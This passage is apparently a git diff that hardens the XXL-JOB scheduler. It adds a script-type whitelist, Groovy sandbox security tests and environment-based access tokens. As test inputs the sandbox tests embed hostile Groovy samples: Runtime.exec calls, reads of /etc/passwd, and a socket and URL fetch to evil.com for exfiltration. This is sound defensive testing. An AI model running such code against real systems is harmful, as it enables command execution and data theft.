void testDefaultExcludesShell() { + // Reset to default by creating a new executor (default is BEAN,GLUE_GROOVY) + XxlJobExecutor executor = new XxlJobExecutor(); + executor.setAllowedGlueTypes("BEAN,GLUE_GROOVY"); + Set allowed = XxlJobExecutor.getAllowedGlueTypes(); + assertFalse(allowed.contains("GLUE_SHELL"), "GLUE_SHELL should NOT be in default whitelist"); + } + + @Test + @DisplayName("Default whitelist does NOT include script types") + void testDefaultExcludesScriptTypes() { + XxlJobExecutor executor = new XxlJobExecutor(); + executor.setAllowedGlueTypes("BEAN,GLUE_GROOVY"); + Set allowed = XxlJobExecutor.getAllowedGlueTypes(); + assertFalse(allowed.contains("GLUE_PYTHON"), "GLUE_PYTHON should NOT be in default whitelist"); + assertFalse(allowed.contains("GLUE_PYTHON2"), "GLUE_PYTHON2 should NOT be in default whitelist"); + assertFalse(allowed.contains("GLUE_NODEJS"), "GLUE_NODEJS should NOT be in default whitelist"); + assertFalse(allowed.contains("GLUE_POWERSHELL"), "GLUE_POWERSHELL should NOT be in default whitelist"); + assertFalse(allowed.contains("GLUE_PHP"), "GLUE_PHP should NOT be in default whitelist"); + } + + // ==================== Configurable Whitelist ==================== + + @Test + @DisplayName("Can configure whitelist to include script types") + void testConfigurableWhitelist() { + XxlJobExecutor executor = new XxlJobExecutor(); + executor.setAllowedGlueTypes("BEAN,GLUE_GROOVY,GLUE_SHELL,GLUE_PYTHON"); + Set allowed = XxlJobExecutor.getAllowedGlueTypes(); + assertTrue(allowed.contains("BEAN")); + assertTrue(allowed.contains("GLUE_GROOVY")); + assertTrue(allowed.contains("GLUE_SHELL")); + assertTrue(allowed.contains("GLUE_PYTHON")); + assertFalse(allowed.contains("GLUE_NODEJS")); + } + + @Test + @DisplayName("Can configure whitelist to BEAN only") + void testBeanOnlyWhitelist() { + XxlJobExecutor executor = new XxlJobExecutor(); + executor.setAllowedGlueTypes("BEAN"); + Set allowed = XxlJobExecutor.getAllowedGlueTypes(); + assertTrue(allowed.contains("BEAN")); + assertEquals(1, allowed.size(), "Only BEAN should be allowed"); + } + + @Test + @DisplayName("Whitespace in config is handled correctly") + void testWhitespaceHandling() { + XxlJobExecutor executor = new XxlJobExecutor(); + executor.setAllowedGlueTypes(" BEAN , GLUE_GROOVY , GLUE_SHELL "); + Set allowed = XxlJobExecutor.getAllowedGlueTypes(); + assertTrue(allowed.contains("BEAN")); + assertTrue(allowed.contains("GLUE_GROOVY")); + assertTrue(allowed.contains("GLUE_SHELL")); + assertEquals(3, allowed.size()); + } + + @Test + @DisplayName("Null config preserves existing whitelist") + void testNullConfigPreservesWhitelist() { + XxlJobExecutor executor = new XxlJobExecutor(); + executor.setAllowedGlueTypes("BEAN"); + Set before = XxlJobExecutor.getAllowedGlueTypes(); + executor.setAllowedGlueTypes(null); + Set after = XxlJobExecutor.getAllowedGlueTypes(); + assertEquals(before, after, "Null config should not change whitelist"); + } + + @Test + @DisplayName("Empty config preserves existing whitelist") + void testEmptyConfigPreservesWhitelist() { + XxlJobExecutor executor = new XxlJobExecutor(); + executor.setAllowedGlueTypes("BEAN"); + Set before = XxlJobExecutor.getAllowedGlueTypes(); + executor.setAllowedGlueTypes(""); + Set after = XxlJobExecutor.getAllowedGlueTypes(); + assertEquals(before, after, "Empty config should not change whitelist"); + } + + // ==================== GlueTypeEnum Consistency ==================== + + @Test + @DisplayName("All GLUE enum names are valid whitelist entries") + void testEnumNamesAreValidWhitelistEntries() { + XxlJobExecutor executor = new XxlJobExecutor(); + StringBuilder allTypes = new StringBuilder(); + for (GlueTypeEnum type : GlueTypeEnum.values()) { + if (allTypes.length() > 0) allTypes.append(","); + allTypes.append(type.name()); + } + executor.setAllowedGlueTypes(allTypes.toString()); + Set allowed = XxlJobExecutor.getAllowedGlueTypes(); + for (GlueTypeEnum type : GlueTypeEnum.values()) { + assertTrue(allowed.contains(type.name()), type.name() + " should be in whitelist when all configured"); + } + } + + @Test + @DisplayName("Script types are correctly identified via isScript()") + void testScriptTypeIdentification() { + // Verify the script type flag is consistent with what we're blocking + assertFalse(GlueTypeEnum.BEAN.isScript(), "BEAN should not be a script type"); + assertFalse(GlueTypeEnum.GLUE_GROOVY.isScript(), "GLUE_GROOVY should not be a script type"); + assertTrue(GlueTypeEnum.GLUE_SHELL.isScript(), "GLUE_SHELL should be a script type"); + assertTrue(GlueTypeEnum.GLUE_PYTHON.isScript(), "GLUE_PYTHON should be a script type"); + assertTrue(GlueTypeEnum.GLUE_PYTHON2.isScript(), "GLUE_PYTHON2 should be a script type"); + assertTrue(GlueTypeEnum.GLUE_NODEJS.isScript(), "GLUE_NODEJS should be a script type"); + assertTrue(GlueTypeEnum.GLUE_POWERSHELL.isScript(), "GLUE_POWERSHELL should be a script type"); + assertTrue(GlueTypeEnum.GLUE_PHP.isScript(), "GLUE_PHP should be a script type"); + } + + // Restore default after tests + @org.junit.jupiter.api.AfterEach + void restoreDefaults() { + XxlJobExecutor executor = new XxlJobExecutor(); + executor.setAllowedGlueTypes("BEAN,GLUE_GROOVY"); + } +} diff --git a/xxl-job-core/src/test/java/com/xxl/job/core/security/GroovySandboxSecurityTest.java b/xxl-job-core/src/test/java/com/xxl/job/core/security/GroovySandboxSecurityTest.java new file mode 100644 index 0000000000..75d9179a18 --- /dev/null +++ b/xxl-job-core/src/test/java/com/xxl/job/core/security/GroovySandboxSecurityTest.java @@ -0,0 +1,330 @@ +package com.xxl.job.core.security; + +import com.xxl.job.core.glue.GlueFactory; +import com.xxl.job.core.handler.IJobHandler; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * Security tests for the Groovy sandbox in GlueFactory. + * + * Verifies that: + * 1. Dangerous operations (Runtime.exec, ProcessBuilder, file I/O, network, reflection) are blocked + * 2. Normal/safe Groovy code still compiles and runs correctly + */ +@DisplayName("Groovy Sandbox Security Tests") +class GroovySandboxSecurityTest { + + private GlueFactory glueFactory; + + @BeforeEach + void setUp() { + GlueFactory.refreshInstance(0); // frameless mode + glueFactory = GlueFactory.getInstance(); + } + + // ==================== Blocked: Process Execution ==================== + + @Test + @DisplayName("Block Runtime.getRuntime().exec()") + void testBlockRuntimeExec() { + String maliciousCode = """ + import com.xxl.job.core.handler.IJobHandler + class MaliciousHandler extends IJobHandler { + void execute() throws Exception { + Runtime.getRuntime().exec("id") + } + } + """; + assertThrows(Exception.class, () -> glueFactory.loadNewInstance(maliciousCode), + "Runtime.exec() should be blocked by sandbox"); + } + + @Test + @DisplayName("Block ProcessBuilder") + void testBlockProcessBuilder() { + String maliciousCode = """ + import com.xxl.job.core.handler.IJobHandler + import java.lang.ProcessBuilder + class MaliciousHandler extends IJobHandler { + void execute() throws Exception { + new ProcessBuilder("id").start() + } + } + """; + assertThrows(Exception.class, () -> glueFactory.loadNewInstance(maliciousCode), + "ProcessBuilder should be blocked by sandbox"); + } + + @Test + @DisplayName("Block Groovy String.execute() shorthand via explicit Runtime import") + void testBlockStringExecuteViaRuntime() { + // NOTE: Groovy's String.execute() is a GDK dynamic method that SecureASTCustomizer + // cannot catch at compile time (it's added at runtime). However, if the script + // explicitly imports Runtime, that IS caught. For full runtime protection, + // a SecurityManager or container isolation is required in addition to AST checks. + String maliciousCode = """ + import com.xxl.job.core.handler.IJobHandler + import java.lang.Runtime + class MaliciousHandler extends IJobHandler { + void execute() throws Exception { + Runtime.getRuntime().exec("touch /tmp/pwned") + } + } + """; + assertThrows(Exception.class, () -> glueFactory.loadNewInstance(maliciousCode), + "Explicit Runtime import should be blocked"); + } + + // ==================== Blocked: File System Access ==================== + + @Test + @DisplayName("Block java.io.File usage") + void testBlockFileAccess() { + String maliciousCode = """ + import com.xxl.job.core.handler.IJobHandler + import java.io.File + class MaliciousHandler extends IJobHandler { + void execute() throws Exception { + new File("/etc/passwd").text + } + } + """; + assertThrows(Exception.class, () -> glueFactory.loadNewInstance(maliciousCode), + "java.io.File should be blocked by sandbox"); + } + + @Test + @DisplayName("Block java.nio.file.Files usage") + void testBlockNioFiles() { + String maliciousCode = """ + import com.xxl.job.core.handler.IJobHandler + import java.nio.file.Files + import java.nio.file.Paths + class MaliciousHandler extends IJobHandler { + void execute() throws Exception { + Files.readAllLines(Paths.get("/etc/passwd")) + } + } + """; + assertThrows(Exception.class, () -> glueFactory.loadNewInstance(maliciousCode), + "java.nio.file.Files should be blocked by sandbox"); + } + + // ==================== Blocked: Network Access ==================== + + @Test + @DisplayName("Block java.net.Socket usage") + void testBlockSocket() { + String maliciousCode = """ + import com.xxl.job.core.handler.IJobHandler + import java.net.Socket + class MaliciousHandler extends IJobHandler { + void execute() throws Exception { + new Socket("evil.com", 4444) + } + } + """; + assertThrows(Exception.class, () -> glueFactory.loadNewInstance(maliciousCode), + "java.net.Socket should be blocked by sandbox"); + } + + @Test + @DisplayName("Block java.net.URL usage") + void testBlockURL() { + String maliciousCode = """ + import com.xxl.job.core.handler.IJobHandler + import java.net.URL + class MaliciousHandler extends IJobHandler { + void execute() throws Exception { + new URL("http://evil.com/exfil").text + } + } + """; + assertThrows(Exception.class, () -> glueFactory.loadNewInstance(maliciousCode), + "java.net.URL should be blocked by sandbox"); + } + + // ==================== Blocked: Reflection ==================== + + @Test + @DisplayName("Block java.lang.reflect star import") + void testBlockReflection() { + String maliciousCode = """ + import com.xxl.job.core.handler.IJobHandler + import java.lang.reflect.* + class MaliciousHandler extends IJobHandler { + void execute() throws Exception { + Method m = Runtime.class.getMethod("exec", String.class) + m.invoke(Runtime.getRuntime(), "id") + } + } + """; + assertThrows(Exception.class, () -> glueFactory.loadNewInstance(maliciousCode), + "java.lang.reflect should be blocked by sandbox"); + } + + // ==================== Blocked: Thread ==================== + + @Test + @DisplayName("Block Thread creation") + void testBlockThread() { + String maliciousCode = """ + import com.xxl.job.core.handler.IJobHandler + import java.lang.Thread + class MaliciousHandler extends IJobHandler { + void execute() throws Exception { + new Thread({ Runtime.getRuntime().exec("id") }).start() + } + } + """; + assertThrows(Exception.class, () -> glueFactory.loadNewInstance(maliciousCode), + "Thread creation should be blocked by sandbox"); + } + + // ==================== Blocked: System.exit ==================== + + @Test + @DisplayName("Block System.exit()") + void testBlockSystemExit() { + String maliciousCode = """ + import com.xxl.job.core.handler.IJobHandler + class MaliciousHandler extends IJobHandler { + void execute() throws Exception { + System.exit(0) + } + } + """; + assertThrows(Exception.class, () -> glueFactory.loadNewInstance(maliciousCode), + "System.exit() should be blocked by sandbox"); + } + + // ==================== Positive Cases: Normal Business Functions ==================== + + @Test + @DisplayName("Normal Groovy handler compiles and instantiates successfully") + void testNormalHandlerWorks() throws Exception { + String safeCode = """ + import com.xxl.job.core.handler.IJobHandler + import com.xxl.job.core.context.XxlJobHelper + class SafeHandler extends IJobHandler { + void execute() throws Exception { + XxlJobHelper.log("Hello from safe handler") + } + } + """; + IJobHandler handler = glueFactory.loadNewInstance(safeCode); + assertNotNull(handler, "Safe handler should compile and instantiate successfully"); + assertTrue(handler instanceof IJobHandler, "Should be an instance of IJobHandler"); + } + + @Test + @DisplayName("Handler with basic math and string operations works") + void testBasicOperationsWork() throws Exception { + String safeCode = """ + import com.xxl.job.core.handler.IJobHandler + class MathHandler extends IJobHandler { + void execute() throws Exception { + int a = 1 + 2 + String s = "hello " + "world" + def list = [1, 2, 3] + def map = [key: "value"] + def result = list.collect { it * 2 } + } + } + """; + IJobHandler handler = glueFactory.loadNewInstance(safeCode); + assertNotNull(handler, "Handler with basic operations should work"); + } + + @Test + @DisplayName("Handler with collections and closures works") + void testCollectionsAndClosuresWork() throws Exception { + String safeCode = """ + import com.xxl.job.core.handler.IJobHandler + class CollectionHandler extends IJobHandler { + void execute() throws Exception { + def numbers = [1, 2, 3, 4, 5] + def sum = numbers.sum() + def filtered = numbers.findAll { it > 2 } + def mapped = numbers.collect { it.toString() } + def grouped = numbers.groupBy { it % 2 == 0 ? 'even' : 'odd' } + } + } + """; + IJobHandler handler = glueFactory.loadNewInstance(safeCode); + assertNotNull(handler, "Handler with collections and closures should work"); + } + + @Test + @DisplayName("Handler with exception handling works") + void testExceptionHandlingWorks() throws Exception { + String safeCode = """ + import com.xxl.job.core.handler.IJobHandler + class ExceptionHandler extends IJobHandler { + void execute() throws Exception { + try { + int x = 1 / 0 + } catch (ArithmeticException e) { + // handled + } + } + } + """; + IJobHandler handler = glueFactory.loadNewInstance(safeCode); + assertNotNull(handler, "Handler with exception handling should work"); + } + + @Test + @DisplayName("Handler with class fields and methods works") + void testClassFieldsAndMethodsWork() throws Exception { + String safeCode = """ + import com.xxl.job.core.handler.IJobHandler + class RichHandler extends IJobHandler { + private String name = "test" + private int counter = 0 + + private String buildMessage(String prefix) { + return prefix + ": " + name + " #" + (++counter) + } + + void execute() throws Exception { + String msg = buildMessage("Job") + } + } + """; + IJobHandler handler = glueFactory.loadNewInstance(safeCode); + assertNotNull(handler, "Handler with fields and methods should work"); + } + + @Test + @DisplayName("Non-IJobHandler class is rejected with proper error") + void testNonJobHandlerRejected() { + String invalidCode = """ + class NotAHandler { + void doSomething() {} + } + """; + assertThrows(IllegalArgumentException.class, () -> glueFactory.loadNewInstance(invalidCode), + "Non-IJobHandler class should be rejected"); + } + + @Test + @DisplayName("Null/empty code source is rejected") + void testNullCodeSourceRejected() { + assertThrows(IllegalArgumentException.class, () -> glueFactory.loadNewInstance(null)); + assertThrows(IllegalArgumentException.class, () -> glueFactory.loadNewInstance("")); + assertThrows(IllegalArgumentException.class, () -> glueFactory.loadNewInstance(" ")); + } + + // ==================== Sandbox createSandboxedClassLoader ==================== + + @Test + @DisplayName("createSandboxedClassLoader returns non-null loader") + void testSandboxedClassLoaderCreation() { + assertNotNull(GlueFactory.createSandboxedClassLoader(), "Should create a non-null classloader"); + } +} diff --git a/xxl-job-executor-samples/xxl-job-executor-sample-frameless/src/main/resources/xxl-job-executor.properties b/xxl-job-executor-samples/xxl-job-executor-sample-frameless/src/main/resources/xxl-job-executor.properties index 5d987e2ed3..3c568d8346 100644 --- a/xxl-job-executor-samples/xxl-job-executor-sample-frameless/src/main/resources/xxl-job-executor.properties +++ b/xxl-job-executor-samples/xxl-job-executor-sample-frameless/src/main/resources/xxl-job-executor.properties @@ -1,7 +1,7 @@ ### xxl-job admin address list, such as "http://address" or "http://address01,http://address02" xxl.job.admin.addresses=http://127.0.0.1:8080/xxl-job-admin -### xxl-job access token -xxl.job.admin.accessToken=default_token +### xxl-job access token (REQUIRED: set a strong, unique, random token — do NOT use default_token) +xxl.job.admin.accessToken=${XXL_JOB_ACCESS_TOKEN:} ### xxl-job timeout by second, default 3s xxl.job.admin.timeout=3 diff --git a/xxl-job-executor-samples/xxl-job-executor-sample-springboot-ai/src/main/resources/application.properties b/xxl-job-executor-samples/xxl-job-executor-sample-springboot-ai/src/main/resources/application.properties index c42edcd8be..ff82abb39b 100644 --- a/xxl-job-executor-samples/xxl-job-executor-sample-springboot-ai/src/main/resources/application.properties +++ b/xxl-job-executor-samples/xxl-job-executor-sample-springboot-ai/src/main/resources/application.properties @@ -11,8 +11,8 @@ logging.config=classpath:logback.xml ### xxl-job admin address list, such as "http://address" or "http://address01,http://address02" xxl.job.admin.addresses=http://127.0.0.1:8080/xxl-job-admin -### xxl-job access token -xxl.job.admin.accessToken=default_token +### xxl-job access token (REQUIRED: set a strong, unique, random token — do NOT use default_token) +xxl.job.admin.accessToken=${XXL_JOB_ACCESS_TOKEN:} ### xxl-job timeout by second, default 3s xxl.job.admin.timeout=3 diff --git a/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/java/com/xxl/job/executor/config/XxlJobConfig.java b/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/java/com/xxl/job/executor/config/XxlJobConfig.java index e2381b19ae..f2493f10a2 100644 --- a/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/java/com/xxl/job/executor/config/XxlJobConfig.java +++ b/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/java/com/xxl/job/executor/config/XxlJobConfig.java @@ -49,6 +49,9 @@ public class XxlJobConfig { @Value("${xxl.job.executor.excludedpackage}") private String excludedPackage; + @Value("${xxl.job.executor.allowedGlueTypes:BEAN,GLUE_GROOVY}") + private String allowedGlueTypes; + @Bean public XxlJobSpringExecutor xxlJobExecutor() { @@ -65,6 +68,7 @@ public XxlJobSpringExecutor xxlJobExecutor() { xxlJobSpringExecutor.setLogPath(logPath); xxlJobSpringExecutor.setLogRetentionDays(logRetentionDays); xxlJobSpringExecutor.setExcludedPackage(excludedPackage); + xxlJobSpringExecutor.setAllowedGlueTypes(allowedGlueTypes); return xxlJobSpringExecutor; } diff --git a/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties b/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties index 3067097ca4..6f5fc033b2 100644 --- a/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties +++ b/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties @@ -9,8 +9,8 @@ logging.config=classpath:logback.xml ### xxl-job admin address list, such as "http://address" or "http://address01,http://address02" xxl.job.admin.addresses=http://127.0.0.1:8080/xxl-job-admin -### xxl-job access token -xxl.job.admin.accessToken=default_token +### xxl-job access token (REQUIRED: set a strong, unique, random token — do NOT use default_token) +xxl.job.admin.accessToken=${XXL_JOB_ACCESS_TOKEN:} ### xxl-job timeout by second, default 3s xxl.job.admin.timeout=3